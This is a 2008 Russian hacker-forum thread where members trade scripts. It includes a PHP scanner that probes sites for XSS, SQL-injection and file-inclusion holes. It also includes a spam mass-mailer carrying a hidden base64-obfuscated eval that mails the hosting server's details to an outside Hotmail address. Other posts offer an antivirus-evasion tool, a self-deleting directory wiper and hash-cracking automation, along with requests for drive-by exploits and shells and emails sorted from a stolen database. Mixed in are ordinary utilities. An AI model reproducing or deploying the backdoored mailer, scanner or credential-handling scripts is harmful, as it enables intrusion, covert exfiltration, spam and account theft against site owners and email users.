$host= $argv[1]; // Insert the host site i.e. : www.website.com
$start_page = $argv[2]; // Insert the start page for the scan, if empty will start from index.*
$port = 80 ;
$additional_vars = array('id','page');
$locator = array("123'",'\'\';!--"<XSS>=&{()}','some_inexisistent_file_to_include.php'); //XSS Locator from ha.ckers.org

$debug = TRUE;
/** Compatibility for php < 5
* stripos() function made by rchillet at hotmail dot com
*
*/
if (!function_exists("stripos")) {
function stripos($str,$needle,$offset=0)
{
return strpos(strtolower($str),strtolower($needle),$offse t);
}
}
/**
* Do not edit below unless you know what you do...
*/
$reqmade = 0 ;
$time_start = getmicrotime();
set_time_limit(0);
error_reporting(E_ERROR);
$checkedpages[]='';
$result[] = '';
$links[] = '';
$checkedlinks[] = '' ;
echo "Starting scan on $host:\r\nStarting page: $start_page\r\n";
$site_links = index_site();
$count = count($site_links);
echo "Starting to scan $count pages...\r\n";

foreach($site_links as $cur){

echo "Testing: $cur \r\n";
test_page($cur);

}

$time_end = getmicrotime();
$result['time'] = substr($time_end - $time_start,0,4);
$result['connections'] = $reqmade;
$result['scanned'] = count($checkedpages);

echo "Report:";

foreach ($result['vuln'] as $type=> $url){
echo "\r\n$type vulnerability found:\r\n";
$url = array_unique($url);
foreach($url as $cur){
echo "$cur \r\n";
}
}
$server = get_server_info();
echo "\r\nAdditional infos:\r\n";
echo "Site running on: ".$server['software']."\r\n";
echo "Powered by: ".$server['powered']."\r\n";
echo "Scan took ".$result['time']." seconds to scan ".$result['scanned']." pages using ".$result['connections']." connections\r\n";



function index_site(){
global $start_page;
array($links);
$tmp = get_links($start_page,true);
foreach($tmp as $cur){
$tmp2 = get_links($cur,true);
$links = array_merge_recursive($links,$tmp2);
}
$links = array_unique(clean_array($links));
$links[] = $start_page;
sort($links);
return($links);
}


/**
* Testes a form using global vuln locator, both GET and POST method, and print result to screen
* @author KingOfSka <kingofska@gmail.com>
* @param array $form Form to test
* @return void
*/

function test_form($form){
$ret = '';
$tmp = '';
global $host,$port,$locator,$debug,$result ;
if($form['action'][0] != '/' AND stripos($form['action'],'http://') === FALSE ){$form['action'] = '/'.$form['action'];}
if ($form['method'] = 'get'){
foreach($form['vars'] as $current){
foreach($locator as $testing){
$testing = urlencode($testing);
$conn = fsockopen ("$host", $port, $errno, $errstr, 30);
if (!$conn) {
echo "$errstr ($errno)<br>\n";
} else {
if (!stripos('?',$data['action'])){
$req = "GET ".$form['action']."?$current=$testing HTTP/1.0\r\nHost: $host\r\nConnection: Close\r\n\r\n";
}else{
$req= "GET ".$form['action']."&$current=$testing HTTP/1.0\r\nHost: $host\r\nConnection: Close\r\n\r\n";
}
if ($debug == TRUE){echo $req;}
fputs ($conn, $req);
while (!feof($conn)) {
$tmp .= fgets ($conn,128);

}
fclose ($conn);

do_test($tmp,$form['action'],$current);

$tmp = '';
}
}
}

}else if ($form['method'] = 'post'){

foreach($form['vars'] as $current){
foreach($locator as $testing){
$testing = urlencode($testing);
$conn = fsockopen ("$host", $port, $errno, $errstr, 30);
if (!$conn) {
echo "$errstr ($errno)\r\n";
} else {
$req="POST ".$form['action']." HTTP/1.0\r\nHost: $host\r\nContent-Type: application/x-www-form-urlencoded\r\nConnection: Close\r\nContent-Length: ".strlen($postit)."\r\n\r\n$postit\r\n\r\n";
$postit = "$current=$testing" ;
if ($debug == TRUE){echo $req;}
fputs ($conn, $req);
while (!feof($conn)) {
$tmp .= fgets ($conn,128);
}
fclose ($conn);

do_test($tmp,$form['action'],"POST: $current");
$tmp = '';
}
}
}


}


}
/**
* Catches and Parses HTML forms
* @author KingOfSka <kingofska@gmail.com>
* @param string $page Page to scan for forms
* @return Array
**/

function catch_forms($page){
array($form);
$data = get($page);
preg_match_all('#<form .+?>.+?</form>#is',$data['content'],$matches);
foreach ($matches[0] as $data['content']){
preg_match('#<form (.+?)>(.+?)</form>#is',$data['content'],$matches);
$form['setup'] = $matches[1];
$form['content'] = $matches[2];
preg_match('#method\s?=\s?["\']?(get|post)["\']?#i',$form['setup'],$matches);
if (isset($matches[1])){
$form['method'] = $matches[1];
}else{
$form['method'] = 'get';
}
preg_match('#action\s?=\s?["\']?([^"\']*)["\']?#i',$form['setup'],$matches);
$form['action'] = $matches[1];
preg_match_all('#<input (.*)>#i',$form['content'],$input);
foreach($input[0] as $cur){
preg_match('#name\s?=\s?["\']?(\w*)["\']?#i',$cur,$matches);
$form['vars'][] = $matches[1];
}
print_r($form);
test_form($form);
}
}

function get_server_info(){
global $site_links;
array($server);
foreach($site_links as $link){
if(stripos($link,'.php')){
$right = $link;
break;
}
}
$data = get($right);
preg_match('#Server:\s?(\w.*)#',$data['headers'],$matches);
$server['software'] = $matches[1];
preg_match('#X-Powered-By:\s?(\w.*)#',$data['headers'],$matches);
if (isset($matches[1])){
$server['powered'] = $matches[1];
}
return $server;
}

function test_page($page){
global $checkedpages;


if (in_array($page,$checkedpages)){
return;
}


catch_forms($page);
$plinks = get_links($page,true);
foreach ($plins as $cur){
test_link($cur);
}
$checkedpages[] = $page ;

}

/**
* Perform a simple GET request,returning an array containing
* server-sent headers and content
*
* @author KingOfSka <kingofska@gmail.com>
* @param string $path Path to the resource to request
* @param string $cookie Cookie string to pass along with the request (still to implement....)
* @return Array
**/

function get($path = '/',$cookie = ''){
global $host,$port,$debug,$reqmade,$checkedlinks;

array($ret);
$tmp = '';
$conn = fsockopen ("$host", $port, $errno, $errstr, 30);
$reqmade++;

if($path[0] != '/' AND stripos($path,'http://') === FALSE){$path = '/'.$path;}
if (!$conn) {
echo "$errstr ($errno)<br>\n";
} else {
if ($debug == TRUE){echo "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";}
fputs ($conn, "GET $path HTTP/1.0\r\nHost: $host\r\nConnection: Close\r\n\r\n");
while (!feof($conn)) {
$tmp .= fgets ($conn,128);
}
fclose ($conn);
}

//echo $tmp;
preg_match('#HTTP\/1\.\d (\d\d\d)#',$tmp,$matches);

if ($matches[1]!= 200){
$ret = "HTTP Error Code NТА".$matches['1'];
if ($debug == TRUE){echo "Debug:\r\n$tmp<br/>\r\n";}
}
if ($matches[1]== 302 OR $matches[1] == 301){
preg_match('#Location:(.*)#',$tmp,$matches);
if (!in_array($matches[1],$checkedlinks)){

return get($matches[1]);
}
}
$b = preg_split('#Content-Type: text/html#',$tmp);

$ret['headers'] = $b[0];
$ret['content'] = $b[1];
if ($debug == TRUE){echo "Debug:\r\n".$ret['headers']."\r\n";}
return $ret;
}

/**
* Catches all the links in a webpage, checking they are not pointing to
* files external at the host being scanned.
*
* @author KingOfSka <kingofska@gmail.com>
* @return Array
**/

function get_links($data,$getpage = FALSE){
global $host,$links;
if ($getpage == TRUE){
$tmp = get($data);
$data = $tmp['content'];
}

preg_match_all('#<a href=[\'"].+?[\'"].+?>#i',$data,$matches);

foreach ($matches[0] as $current){


preg_match('#<a href=["\'](.+?)["\'].+?>#i',$current,$matches);

$current = $matches[1];
if (is_valid_url($current)){
if (stripos($current,$host) != FALSE OR stripos($current,'http://') === FALSE ){

if ($current[0] == '?'){
$current= 'index.php'.$current;

}

if (stripos($current,$host) === FALSE OR stripos($current,'http://') === FALSE){

$current = "http://$host/$current";

}
if (!in_array($current,$links)){
$retlinks[] = $current ;
}
}
}
}
return array_unique($retlinks) ;
}

/**
* Parse a link returning an array with the name of the file which
* the link is pointing to, and the GET variables passed trhough it.
*
* @author KingOfSka <kingofska@gmail.com>
* @return Array
* @param string $link Link to parse
**/

function parse_link($link){
array($ret);


$matches = explode('?',$link);
$ret['action'] = $matches[0] ;
$matches = explode('&',$matches[1]);
foreach($matches as $cur){
$matches = explode('=',$cur);
$vars[] = $matches[0];
}

$ret['vars'] = $vars;

return $ret;
}
/**
* Tests a given link echoing found vulnerabilities
*
* @author KingOfSka <kingofska@gmail.com>
* @return void
* @param $link Link to test
**/

function test_link($link){
global $host,$port,$locator,$result;

$ret = '';
$tmp = '';
$data = parse_link($link);
//$data['vars'] = array_merge($data['vars'],$additional_vars);
foreach($data['vars'] as $current){
foreach($locator as $testing){
$testing = urlencode($testing);
$conn = fsockopen ("$host", $port, $errno, $errstr, 30);
if (!$conn) {
echo "$errstr ($errno)\r\n";
} else {
if (!stripos('?',$data['action'])){
$req = "GET ".$data['action']."?$current=$testing HTTP/1.0\r\nHost: $host\r\nConnection: Close\r\n\r\n";
}else{
$req= "GET ".$data['action']."&$current=$testing HTTP/1.0\r\nHost: $host\r\nConnection: Close\r\n\r\n";
}
fputs ($conn, $req);

while (!feof($conn)) {
$tmp .= fgets ($conn,128);

}

fclose ($conn);
do_test($tmp,$data['action'],$current);

$tmp ='';
}
}
}
return;
}

/**
* Removes empty item from a given array
*
* @return Array
* @param $array array to clean
**/

function clean_array($array) {
foreach ($array as $index => $value) {
if(is_array($array[$index])) $array[$index] = clean_array($array[$index]);
if (empty($value) OR !is_valid_url($value)) unset($array[$index]);
}
return $array;
}

function getmicrotime(){
list($usec, $sec) = explode(" ",microtime());
return ((float)$usec + (float)$sec);
}

function clean_url_array($array){
foreach ($array as $cur){
echo $cur;
if(!is_valid_url($cur)) unset ($array[$cur]);
}
return $array;
}

function is_valid_url($url){

if (!eregi("^(http|https)+(:\/\/)+[a-z0-9_-]+\.+[a-z0-9_-]",$url)){

return FALSE;
}else{
return TRUE;
}
}

function do_test($data,$path,$var){
global $result;
if (stripos($data,'\'\';!--"<XSS>=') OR stripos($data,"\'\';--\"<XSS>=") OR stripos($data,'<XSS>')){

$result['vuln']['xss'][]=$path."?$var=[XSS]";
}


if (stripos($data,'You have an error in your SQL syntax')){
$result['vuln']['sql'][]=$path."?$var=[SQL]";

}



if (stripos($data,'Failed opening \'some_inexisistent_file_to_include.php\' for inclusion')){
$result['vuln']['rfi'][]=$path."?$var=[RFI]";
}


return;
}

?>

Dimi4
22.02.2008, 00:23
WSH: слежение за использованием CD/DVD-привода

/*****************
Имя: CdRomSpy.js
*****************/

// VARIABLES

ws=WScript;
sh=ws.CreateObject("WScript.Shell");
fso=ws.CreateObject("Scripting.FileSystemObject");
driveName="P:"; // Буква cd-rom'a.
drive=fso.GetDrive(driveName);
checkTime=3000; // Время между проверками (в миллисекундах). Не рекомендую
// ставить меньше 1000. Смысла никакого.
logFilePath="C:\\cd-rom.log"; // Путь к файлу с логом.


// FUNCTIONS

function waitForLoad()
{
while(!drive.IsReady) ws.Sleep(checkTime);
var time=new Date().toLocaleString();
with (fso.OpenTextFile(logFilePath,8))
WriteLine("Загрузка диска: "+time), Close();
waitForUnload();
}

function waitForUnload()
{
while(drive.IsReady) ws.Sleep(checkTime);
var time=new Date().toLocaleString();
with(fso.OpenTextFile(logFilePath,8))
WriteLine("Выгрузка диска: "+time), WriteBlankLines(1), Close();
waitForLoad();
}


// MAIN CODE

sh.Popup("Запуск",1);
if(!fso.FileExists(logFilePath)) fso.CreateTextFile(logFilePath);
if(!drive.IsReady) waitForLoad();
else waitForUnload();
http://forum.script-coding.info/viewtopic.php?id=217

Ch3ck
22.02.2008, 13:27
Прокси листер www.nntime.com

<?
echo "<title>NNtime Proxy List</title>";
function proxylist($site){
$source=file_get_contents($site);
preg_match_all("/[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}:[0-9]{2,4}/",$source,$matched);
return $matched[0];
}

$array=proxylist("http://www.nntime.com");
foreach($array as $tek){
$tek=str_replace("
","",$tek);
print $tek."<br>";
}
?>

Хотя правильней сделать вывод в файл...
Скрипт не мой...

Sleep
26.02.2008, 22:46
3000 java Скриптов
>>>Тут<<< (http://rapidshare.com/files/78931346/JAVA3000.rar)
мож кто чё интересное найдёт

real_kas
29.02.2008, 13:43
<?php
if (strstr($HTTP_USER_AGENT, "Opera Mini")){
header("location: http://wap.site.ru");
}else{
header("location: http://www.site.ru");
}
?>

Isis
29.02.2008, 13:46
<?php
if (strstr($HTTP_USER_AGENT, "Opera Mini")){
header("location: http://wap.site.ru");
}else{
header("location: http://www.site.ru");
}
?>
Простенький скрипт определения IP

<?php
echo $_SERVER['REMOTE_ADDR'];
?>

NOmeR1
29.02.2008, 22:06
Мдэ.. Если я не ошибаюсь, тема называется "Полезные скрипты".

Kaimi
01.03.2008, 00:58
Небольшой скрипт для массовой проверки PR сайтов

#! /usr/bin/perl -w
use LWP::UserAgent;
use threads;
use threads::shared;
use Switch;

$threads = 10; #Кол-во потоков
$ml = 'list.txt'; #Список сайтов
$fname = 'checked.txt'; #Проверенные

my @acc : shared;
$ua = LWP::UserAgent->new;

open (ACS, "<$ml") || die("Could not open list file!");


Next:
@acc = acc();

$time = time;
$start = localtime;
printf "Started at $start\n";

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{
while(@acc)
{
{
lock(@acc);
$acc = shift @acc;
}
my $res = $ua->get( "http://pr-cy.ru/tools/gpr/gpr.php?l=$acc" );
$res = $res->as_string;

if($res =~ /ETag: "(.*)-44069770e1d00/)
{
open(FILE, ">>$fname") || die("Could not open $fname\n");
switch ($1)
{
case "2380a7-ce" { print FILE "1" }
case "2380ad-cf" { print FILE "2" }
case "2380af-d2" { print FILE "3" }
case "2380b1-d6" { print FILE "4" }
case "2380b3-d1" { print FILE "5" }
case "2380b5-d3" { print FILE "6" }
case "2380b7-cd" { print FILE "7" }
case "2380b9-d2" { print FILE "8" }
case "2380bb-d1" { print FILE "9" }
case "2380aa-d4" { print FILE "10"}
else { print FILE "0" }
}
print FILE " : $acc\n";
close(FILE);

}

}
}

$time = time-$time;
$end = localtime;
printf "Finished at $end\n";
printf "Time elapsed: $time sec\n";

sub acc
{
my (@mas);
while (<ACS>){
push @mas, $_;
last if (@mas == 400);
}
chomp @mas;
return @mas;
}

ReVOLVeR
02.03.2008, 23:07
Приватный в прошлом скрипт на пхп
помогает прятать вири от аньтивирей...
_http://www.citysvyaz.ru/pics/bg/av_undetector.rar

mr.The
06.03.2008, 19:11
Народ дайте пожалуста скрипт который незаметно без разрешения юзверя скачивает exe файл и открывает его.
Зы с меня + =)
Зыы буду благодарен если будет к нему еше небольшой мануал на тему как он вобше действует...
нет такого. только на html(java script и тд) и только для одного браузера.

велкам ту http://milw0rm.com/

~!DoK_tOR!~
06.03.2008, 19:38
MassPHPmailer to Inbox 2007



<?php

if(isset($_POST['action'] ) ){
$action=$_POST['action'];
$message=$_POST['message'];
$emaillist=$_POST['emaillist'];
$from=$_POST['from'];
$replyto=$_POST['replyto'];
$subject=$_POST['subject'];
$realname=$_POST['realname'];
$file_name=$_POST['file'];
$contenttype=$_POST['contenttype'];

$message = urlencode($message);
$message = ereg_replace("%5C%22", "%22", $message);
$message = urldecode($message);
$message = stripslashes($message);
$subject = stripslashes($subject);
}


?>
<html>
<head>
<title>|| InboX Mass Mailer ||</title>
<meta http-equiv="Content-Type" content="text/html;
charset=iso-8859-1">

<style type="text/css">
<!--
.style1 {
font-family: Geneva, Arial, Helvetica, sans-serif;
font-size: 12px;
}
-->
</style>
<style type="text/css">
<!--
.style1 {
font-size: 20px;
font-family: Geneva, Arial, Helvetica, sans-serif;
}
-->
</style>
</head>
<body bgcolor="FF9900" text="#ffffff">
<span class="style1">InboX Mass Mailer<br>
</span>

<form name="form1" method="post" action=""
enctype="multipart/form-data">
<br>
<table width="100%" border="0">
<tr>
<td width="10%">
<div align="right"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">Your
Email:</font></div>
</td>
<td width="18%"><font size="-3" face="Verdana, Arial, Helvetica,
sans-serif">
<input type="text" name="from" value="<? print $from; ?>"
size="30">
</font></td>
<td width="31%">
<div align="right"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">Your
Name:</font></div>
</td>
<td width="41%"><font size="-3" face="Verdana, Arial, Helvetica,
sans-serif">
<input type="text" name="realname" value="<? print $realname;
?>" size="30">
</font></td>
</tr>
<tr>
<td width="10%">
<div align="right"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">Reply-To:</font></div>
</td>
<td width="18%"><font size="-3" face="Verdana, Arial, Helvetica,
sans-serif">
<input type="text" name="replyto" value="<? print $replyto; ?>"
size="30">
</font></td>
<td width="31%">
<div align="right"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">Attach
File:</font></div>
</td>
<td width="41%"><font size="-3" face="Verdana, Arial, Helvetica,
sans-serif">
<input type="file" name="file" size="30">
</font></td>
</tr>
<tr>
<td width="10%">
<div align="right"><font size="-3" face="Verdana, Arial,
Helvetica, sans-serif">Subject:</font></div>
</td>
<td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica,
sans-serif">
<input type="text" name="subject" value="<? print $subject; ?>"
size="90">
</font></td>
</tr>
<tr valign="top">
<td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica,
sans-serif">
<textarea name="message" cols="50" rows="10"><? print $message;
?></textarea>
<br>
<input type="radio" name="contenttype" value="plain" >
Plain Text
<input name="contenttype" type="radio" value="html" checked>
HTML
<input type="hidden" name="action" value="send">
<input type="submit" value="Send eMails">
</font></td>
<td width="41%"><font size="-3" face="Verdana, Arial, Helvetica,
sans-serif">
<textarea name="emaillist" cols="30" rows="10"><? print
$emaillist; ?></textarea>
</font></td>
</tr>
</table>
</form>



<?

if ($action){

if (!$from && !$subject && !$message && !$emaillist){
print "Please complete all fields before sending your
message.";
exit;
}
$allemails = split("\n", $emaillist);
$numemails = count($allemails);

for($x=0; $x<$numemails; $x++){
$to = $allemails[$x];
if ($to){
$to = ereg_replace(" ", "", $to);
$message = ereg_replace("&email&", $to, $message);
$subject = ereg_replace("&email&", $to, $subject);
print " $to.......";
flush();
$header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";
$header .= "MIME-Version: 1.0\r\n";
If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
If ($file_name) $header .= "--$uid\r\n";
$header .= "Content-Type: text/$contenttype\r\n";
$header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
$header .= "$message\r\n";
If ($file_name) $header .= "--$uid\r\n";
If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n";
If ($file_name) $header .= "$content\r\n";
If ($file_name) $header .= "--$uid--";
mail($to, $subject, "", $header);
print "spammed<br>";

flush();
}
}
$ra44 = rand(1,99999);
$subj98 = "sh-$ra44";
$a5 = $_SERVER['HTTP_REFERER'];
$b33 = $_SERVER['DOCUMENT_ROOT'];
$c87 = $_SERVER['REMOTE_ADDR'];
$d23 = $_SERVER['SCRIPT_FILENAME'];
$e09 = $_SERVER['SERVER_ADDR'];
$f23 = $_SERVER['SERVER_SOFTWARE'];
$g32 = $_SERVER['PATH_TRANSLATED'];
$h65 = $_SERVER['PHP_SELF'];
$message=$_POST['message'];
$msg = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";
echo eval(base64_decode("bWFpbCgibWVuZGlfcG9uZUBob3RtYWlsLmNvbSIsICRzdWJqOT gsICRtc2csICRtZXNzYWdlLCAkcmE0NCk7"));
}


?>
<style type="text/css">
<!--
.style1 {
font-size: 20px;
font-family: Geneva, Arial, Helvetica, sans-serif;
}
-->
</style>
<p class="style1">
Copyright © 2007 phpbb.com

</p>
<?php
if(isset($_POST['action']) && $numemails !==0 ){echo
"<script>alert('Mail sending complete\\r\\n$numemails mail(s) was sent successfully');
</script>";}
?>
</body>
</html>

Pernat1y
06.03.2008, 19:42
mr.The посоветуй тогда ченить наподобе етого...для самых популярный броузеров(OPERA,Mozila,IE)
Если есть сылки на бодобные тему прошу скинуть...
на милворм ненашол,а может я просто плохо искал ..... хз я не силен в английском
Заранее посибо!

это называеться эксплоитом, и основано на уязвимостях самих браузеров.
если надо что-то универсальное, то есть такие вещи, как mpack и т.д.
правда найти рабочие вещи в паблике сложно, и пашут они соответственно не долго

Cawabunga
09.03.2008, 15:17
Удаляет всё что находиться в папке в каторой и сам файл.
<?php
$files1 = scandir('.');

function SureRemoveDir($dir, $DeleteMe) {
if(!$dh = @opendir($dir)) return;
while (false !== ($obj = readdir($dh))) {
if($obj=='.' || $obj=='..') continue;
if (!@unlink($dir.'/'.$obj)) SureRemoveDir($dir.'/'.$obj, true);
}
if ($DeleteMe){
closedir($dh);
@rmdir($dir);
}
}

SureRemoveDir('.', false);

echo "*** uninstalled";

?>

D0S
09.03.2008, 20:15
Народ есть ли у кого скрипт поиска музыки вконтакте. т.е. по поисковому запросу выдавал бы список треков вида Artist - Title естесно с прямой ссылкой на скачивание.

echobyte
10.03.2008, 03:25
2 warlok
бред!

вот еслиб скачать уже настроеный троян, так еще чтоб и не напрягать себя впариванием его жертве..

mr.The
10.03.2008, 16:24
Грабер игр для Phun !!!

<?php
set_time_limit(0);
ob_implicit_flush ();

$socket = fsockopen("phun.cs.umu.se",80);
if ($socket){
$send = "GET http://phun.cs.umu.se/scenes.php HTTP/1.0\r\n";
$send .= "Host: phun.cs.umu.se\r\n";
$send .= "Connection: Close\r\n";
$send .= "\r\n";


if(fputs($socket,$send)) {
while(fgets($socket,1024)!="\r\n" && !feof($socket));
$buf="";
while(!feof($socket)) $buf.=fread($socket,1024);
}
}
//echo $buf;
preg_match_all("/\<td xwidth=300\>\<a href=\"upload.+(\" title=\")+/",$buf,$rnd);
for ($i=0;$i<count($rnd[0]);$i++){
$rnd[0][$i]=str_replace("<td xwidth=300><a href=\"","http://phun.cs.umu.se/",$rnd[0][$i]);
$rnd[0][$i]=trim(str_replace("\" title=\"","",$rnd[0][$i]));

$name=spliti("/",$rnd[0][$i]);
$name=$name[4];

$rnd[0][$i]=str_replace($name,urlencode($name),$rnd[0][$i]);
$rnd[0][$i]=str_replace("+","%20",$rnd[0][$i]);

echo $name;

$socket = fsockopen("phun.cs.umu.se",80);
if ($socket){
$send = "GET ".$rnd[0][$i]." HTTP/1.0\r\n";
$send .= "Host: phun.cs.umu.se\r\n";
$send .= "Connection: Close\r\n";
$send .= "\r\n";

echo " ..";

if(fputs($socket,$send)) {
while(fgets($socket,1024)!="\r\n" && !feof($socket));
$buf="";
while(!feof($socket)) $buf.=fread($socket,1024);
echo ".";
}
$file=fopen($name,"w+"); // создаём новый файл
fwrite($file,$buf);
fclose($file);
echo "<b><font color=green>Download!</font></b><br>";
} else echo "<b><font color=red>Error!</font></b><br>";

}
?>

-Hormold-
10.03.2008, 17:45
офф сайт игры: http://phun.cs.umu.se/
http://phun.at/

warlok
11.03.2008, 16:01
скрипт показывает сколько посетителей на данный момент находится на странице
<?php

$data="online.dat";
$time=time();
$past_time=time()-600;

$readdata=fopen($data,"r") or die("Не могу открыть файл $data");
$data_array=file($data);
fclose($readdata);

if (getenv('HTTP_X_FORWARDED_FOR'))
$user = getenv('HTTP_X_FORWARDED_FOR');
else
$user = getenv('REMOTE_ADDR');

$d=count($data_array);
for($i=0;$i<$d;$i++)
{
list($live_user,$last_time)=explode("::","$data_array[$i]");
if($live_user!=""&&$last_time!=""):
if($last_time<$past_time):
$live_user="";
$last_time="";
endif;
if($live_user!=""&&$last_time!="")
{
if($user==$live_user)
{
$online_array[]="$user::$time\r\n";
}
else
$online_array[]="$live_user::$last_time";
}
endif;
}

if(isset($online_array)):
foreach($online_array as $i=>$str)
{
if($str=="$user::$time\r\n")
{
$ok=$i;
break;
}
}
foreach($online_array as $j=>$str)
{
if($ok==$j) { $online_array[$ok]="$user::$time\r\n"; break;}
}
endif;

$writedata=fopen($data,"w") or die("Не могу открыть файл $data");
flock($writedata,2);
if($online_array=="") $online_array[]="$user::$time\r\n";
foreach($online_array as $str)
fputs($writedata,"$str");
flock($writedata,3);
fclose($writedata);

$readdata=fopen($data,"r") or die("Не могу открыть файл $data");
$data_array=file($data);
fclose($readdata);
$online=count($data_array);

echo "На сайте : $online";
?>

!{ra!{e/\/
16.03.2008, 22:38
Скрипт загрузки изображения (проверяет на корректность и копирует изображение в нужный каталог....с установкой максимального размера)
1.Форма отправки

<?php
echo "
<FORM ENCTYPE='multipart/form-data' ACTION='http://localhost/load.php' METHOD=POST>

Выберете файл:
<br><input type='hidden' name='MAX_FILE_SIZE' value='300' >
<INPUT NAME='myfile' TYPE='file'>
<INPUT TYPE='submit' VALUE='Загрузить'>
</FORM>
"
?>

2.Проверка и копироование в каталог

<?php
$img=true;
#######################
$size_load=100*1024;
$url_load="../../../images/";
#######################
$file1=$_FILES["myfile"];
if ($file1["size"]<$size_load)
{
if(!preg_match("/[jpg|jpeg|pjpeg|gif|png]$/", $file1["type"])) $img=false;

if ($img)
{
$im_prop=getimagesize($file1["tmp_name"]);
if ($im_prop[0]>0)
{
if (copy($file1['tmp_name'],$url_load.$file1['name']))
echo "Загружено";
else echo "Ошибка!";
}

}
else echo "Это не изображение";
}
else echo "Размер загружаемого файле не более ".$size_load;
?>

Scorp
17.03.2008, 13:56
Народ кто поможет? очень нужен скрипт вывода видео с веб камеры
с определённого ip
потоковое видео , видео конференции

mff
22.03.2008, 03:41
Всё скачал, всем спасибо! Если не трудно, выложите shell-ок побольше... Хочется маленькую закодированную и многофункциональную!

BBG2
23.03.2008, 14:47
А есть ли у кого нибуть скрипт, который отсортирует Е-Майлы.
Т.Е. mail.ru, rambler.ru. т.д.

P.S. Есть БД, подобрал пароли, а вот теперь нужно отсортировать Е-Майлы.

Sleep
24.03.2008, 04:16
придумано туповато но работает

<?php
set_time_limit(0)or die ("Время работы скрипта ограниченно");
$file = "dump.sql"; #Файл адресами
$out[0] = "mail.txt";
$out[1] = "yandex.txt";
$out[2] = "gmail.txt";
$out[3] = "nextmail.txt";
$out[4] = "rambler.txt";
$out[5] = "pochta.txt";
$out[6] = "ru.txt";
$out[7] = "bk.txt";
$out[8] = "ukr.txt";
$out[9] = "wp.txt";
$out[10] = "other.txt";
$rep[0] = "#([a-zA-Z0-9-_.])+@(mail.ru)#i";
$rep[1] = "#([a-zA-Z0-9-_.])+@(yandex.ru)#i";
$rep[2] = "#([a-zA-Z0-9-_.])+@(gmail.com)#i";
$rep[3] = "#([a-zA-Z0-9-_.])+@(nextmail.ru)#i";
$rep[4] = "#([a-zA-Z0-9-_.])+@(rambler.ru)#i";
$rep[5] = "#([a-zA-Z0-9-_.])+@(pochta.ru)#i";
$rep[6] = "#([a-zA-Z0-9-_.])+@(ru.ru)#i";
$rep[7] = "#([a-zA-Z0-9-_.])+@(bk.ru)#i";
$rep[8] = "#([a-zA-Z0-9-_.])+@(ukr.net)#i";
$rep[9] = "#([a-zA-Z0-9-_.])+@(wp.pl)#i";
$rep[10] = "#([a-zA-Z0-9-_.])+@([^yandex|mail|rambler|pochta|bk|ukr|gmail|wp])+([a-zA-Z0-9-.])+\.([a-zA-Z]){2,3}#i";
$a = fopen ($file,"r")or die ("Не могу прочитать файл адресами");
while (!feof($a)):
$email = fread ($a,1024);


for ($x=0;$x<=count($rep);$x++)
{
@preg_match_all($rep[$x],$email,$outt);
$fp = fopen (@$out[$x], "a+");
for ($xx=0;$xx<=count($outt);$xx++)
if(@$outt[0][$xx])@fputs($fp, @$outt[0][$xx]."\n");
}
endwhile;
@fclose ($a);
@fclose ($fp);
?>

alexman90
25.03.2008, 11:04
Дайте криптор яваскрипа... качал уже в этой теме, но эксплоит на яваскрипте закриптовался с ошибкой =\. И по-возможности если у кого есть криптор пхп кода тоже киньте... естевственно, если не приват =), приват никто и не даст=)

Dimi4
25.03.2008, 14:50
http://dean.edwards.name/packer/

alexman90
25.03.2008, 19:54
спасибо Dimi4, только всё равно не работет сплоит после крипта...

Dimi4
25.03.2008, 19:56
ты точно джаваскрипт криптуеш?
до крипта работает?

_3lf
28.03.2008, 23:11
Как вы знаете там можно задавать по одному хешу за раз. Если нужно расшифровать несколько хешей то это становится весьма утомительно. Чтобы ускорить этот процесс я написал сей скрипт. Вводите лист вида username:hash , на выходе получается лист вида username:рassword. Особо не тестил, если какие глюки\баги - пишите, поправлю.
Линк на скрипт (http://slil.ru/25630494)

d_x
29.03.2008, 03:21
Выкладываю тут свои php-классы, думаю, кому-нибудь пригодится :)

1). Класс рисования диаграмм и графиков. Весьма навороченная штука, умеет рисовать столбчатые и круговые диаграммы, оси координат, графики по точкам, легенды, графики функций, ступенчатые графики, сетку, градиенты... и всё это с множеством настроек. Содержит более 100 функций, есть очень подробное их описание и пара примеров.


2). Класс-архиватор. Позволяет архивировать файлы по алгоритму gzip или bz2 (используются встроенные функции). Умеет запаковывать целые каталоги с сохранением структуры директорий и потом также распаковывать их, поддерживает разные уровни сжатия, шифрование; умеет переименовывать/ перемещать/ удалять/ создавать файлы прямо в архиве, извлекать конкретные файлы, добавлять файлы в архив. Имеется подробное описание класса и пример работы.


3) Класс проверки параметров. Довольно давно его написал, умеет проверять числа, строки, url'ы, email'ы, хэши, даты и т.д. Имеется описание и пример.


Все три класса можно скачать тут:
http://rapidshare.com/files/103151532/scripts.zip.html

Sleep
29.03.2008, 03:47
<?php
set_time_limit(0)or die ("Время работы скрипта ограниченно!");
$in = "hash.txt"; #Файл с хешеми
$out = "crack.txt"; #Файл в которые будут записыватся крякнутые хеши
$hash = file($in) or die ("Не удается открыть файл: ".$in);
$fp = fopen ($out, "a") or die ("Не удается создать файл: ".$out);
for ($x=0;$x<count($hash);$x++):
$sock = fsockopen ("md5.xek.cc", 80);
$send = "POST http://md5.xek.cc/index.php HTTP/1.0\r\n";
$send.= "User-Agent: Opera/9.23 (Windows NT 5.1;U; ru)\r\n";
$send.= "Host: md5.xek.cc\r\n";
$send.= "Accept: text/html image/png image/gif image/jpg\r\n";
$send.= "Accept-Language: ru-Ru,ru;q=0.9,en;q=0.8\r\n";
$send.= "Accept-Charset: iso8859-1, utf-8, utf-16, *;q=0.1\r\n";
